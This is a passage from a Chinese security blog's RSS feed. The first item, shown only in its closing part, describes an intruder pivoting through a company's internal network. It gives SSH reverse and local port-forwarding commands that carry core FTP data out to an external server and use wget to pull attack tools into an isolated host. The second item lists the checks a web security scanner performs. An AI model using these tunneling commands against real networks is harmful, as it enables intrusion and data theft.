这样登录0x.cn的ssh服务，ssh -p 44 127.0.0.1 等同于连接GBOSS_WEB的22端口。</p>
<p>骇客A通过利用操作系统系统提升权限至ROOT，再继续渗透过程中，发现内网还存在另外一台名称为GBOSS_APP的服务器。<br />
GBOSS_APP 信息：<br />
内网IP：10.168.0.20</p>
<p>骇客通过嗅探获取了GBOSS_APP服务器的FTP信息，GBOSS_APP服务器FTP保存有RISUN企业的核心数据，由于数据量庞大，需要FTP续传功能，可通过SSH映射GBOSS_APP的21端口至0x.cn的2121端口；<br />
$ssh -C -f -N -g -R 2121:10.168.0.20:21 ring04h@202.65.208.142</p>
<p>当骇客成功root掉内网中另一网段中的服务器BILL_APP时，需要从外网下载一些工具，由于内部访问控制策略，BILL_APP无法连接网，此时可以通过映射外网服务器0x.cn的80端口至GBOSS_WEB的8888端口，然后通过GBOSS_WEB建立的隧道，下载所需工具。<br />
在GBOSS_WEB服务器上执行：<br />
$ssh -C -f -N -g user@10.168.0.10 -L 8888:202.65.208.142:80</p>
<p>通过建立隧道后，在BILL_APP上执行 wget http://10.168.0.10:8888/thepl 等同于访问http://202.65.208.142/thepl</p>
<p>本文详细的概述了如何建立隧道的过程，以及相关参数的使用方法，各位懂的高手可以直接飘过。<br />
本文中骇客所使用的地址为真实IP，对应域名：http://0x.cn 欢迎无聊的骇客们破坏。(SSH有个隐藏的密码，很容易的&#8230;)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/%e5%86%85%e7%bd%91%e6%b8%97%e9%80%8f%e4%b8%adssh%e7%9a%84%e5%b7%a7%e7%94%a8.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SandCat ：高级Web应用程序安全测试工具</title>
		<link>http://www.nuanyue.com/sandcat-%ef%bc%9a%e9%ab%98%e7%ba%a7web%e5%ba%94%e7%94%a8%e7%a8%8b%e5%ba%8f%e5%ae%89%e5%85%a8%e6%b5%8b%e8%af%95%e5%b7%a5%e5%85%b7.html</link>
		<comments>http://www.nuanyue.com/sandcat-%ef%bc%9a%e9%ab%98%e7%ba%a7web%e5%ba%94%e7%94%a8%e7%a8%8b%e5%ba%8f%e5%ae%89%e5%85%a8%e6%b5%8b%e8%af%95%e5%b7%a5%e5%85%b7.html#comments</comments>
		<pubDate>Fri, 05 Jun 2009 16:02:51 +0000</pubDate>
		<dc:creator></dc:creator>
				<category><![CDATA[Tools Collection | 工具收集]]></category>
		<category><![CDATA[安全审计]]></category>
		<category><![CDATA[渗透测试]]></category>

		<guid isPermaLink="false">http://www.nuanyue.com/?p=568</guid>
		<description><![CDATA[<p>SandCat 这是一个了不起的工具来工作。SandCat有两个版本-自由与专业版。SandCat所具有功能：<br />
* 缓冲区溢出<br />
* Cookie Manipulation *Cookie 修改<br />
*命令执行<br />
*  CRLF注入<br />
* Cross Frame Scripting *跨帧脚本<br />
* 跨站点脚本[......]</p><p class='read-more'><a href='http://www.nuanyue.com/sandcat-%ef%bc%9a%e9%ab%98%e7%ba%a7web%e5%ba%94%e7%94%a8%e7%a8%8b%e5%ba%8f%e5%ae%89%e5%85%a8%e6%b5%8b%e8%af%95%e5%b7%a5%e5%85%b7.html' target='_blank'>全文阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>SandCat 这是一个了不起的工具来工作。SandCat有两个版本-自由与专业版。SandCat所具有功能：<br />
* 缓冲区溢出<br />
* Cookie Manipulation *Cookie 修改<br />
*命令执行<br />
*  CRLF注入<br />
* Cross Frame Scripting *跨帧脚本<br />
* 跨站点脚本（ XSS ）<br />
* Default Account *默认帐户<br />
* 目录列表<br />
* 目录遍历<br />
* 文件包含<br />
* 敏感信息泄露<br />
* LDAP 注入<br />
* MX 注入<br />
* Password Disclosure 密码泄露<br />
* Path Disclosure *路径泄露<br />
* PHP代码注入<br />
* 固有漏洞： IIS中/ iPlanet /其他<br />
* Source Code Disclosure * 源代码公开<br />
* SQL注入<br />
* XPath Injection *XPath注入<br />
* 杂项<br />
它还执行下列应用程序会检查：<br />
* Backup Files *备份文件<br />
* Common Exposures: Dangerous Methods, Default Content, Internal IP Address Disclosure *共同暴露：危险方法，默认内容，内部IP地址信息披露<br />
*常见的文件和文件夹<br />
* Common Vulnerable Scripts: ASP, ASP .Net, PHP, JSP, Perl<br />
* Email Form Hijacking *电子邮件劫持<br />
* Outdated Server Software *过时的服务器软件<br />
* Path Disclosure *路径泄露<br />
* Source Code Disclosure * 源代码公开<br />
* Suspicious HTML Comments *可疑的HTML评论<br />
* Unencrypted Login *未加密的登录<br />
* Web-Based Backdoors *基于Web的后门<br />
* Compliance: OWASP Top 10, PHP Top 5 *遵守： OWASP十大， PHP的最常见的5个<br />
* Fault Injection: Parameter Tampering, Form Field Manipulation *故障注入：参数篡改，表单域操纵</p>
<p>It can also perform these Server Checks:它也可以执行这些Server检查：<br />
* CGI, CGI-Bin &amp; CGI-Local Folders *共同闸道介面， cgi &#8211; bin目录和CGI方式，本地文件夹<br />
* CGI-Sys *的CGI -系统<br />
* Common Files and Folders *常见的文件和文件夹<br />
* Common Server Vulnerabilities: Cisco IOS, ColdFusion, Domino, IIS, NCSA, FrontPage, FrontPage CGI *通用服务器漏洞：思科IOS ， ColdFusion ，多米诺， IIS中，国家能力自评时， FrontPage ， FrontPage中的CGI<br />
* Common Vulnerable Scripts: ASP, ASP .Net, PHP, JSP, Perl *共同弱势脚本： ASP技术， ASP技术。净的， PHP ， JSP的，的Perl<br />
* Compliance: SANS Top Twenty *遵守： SANS的前20<br />
* Database Disclosure * 数据库披露<br />
* Denial-of-Service *拒绝服务<br />
* IDS Testing *入侵检测系统测试<br />
* Old/Backup Files: Common Backup Folders &amp; Files *旧/备份文件：共同的备份文件夹和文件<br />
* Outdated Server Software *过时的服务器软件<br />
* Web-Based Backdoors *基于Web的后门<br />
* WinCGI * WinCGI</p>
<p>下载：<a href="http://www.syhunt.com/downloads/sandcat-3.7.8.exe">sandcat-3.7.8</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.nuanyue.com/sandcat-%ef%bc%9a%e9%ab%98%e7%ba%a7web%e5%ba%94%e7%94%a8%e7%a8%8b%e5%ba%8f%e5%ae%89%e5%85%a8%e6%b5%8b%e8%af%95%e5%b7%a5%e5%85%b7.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
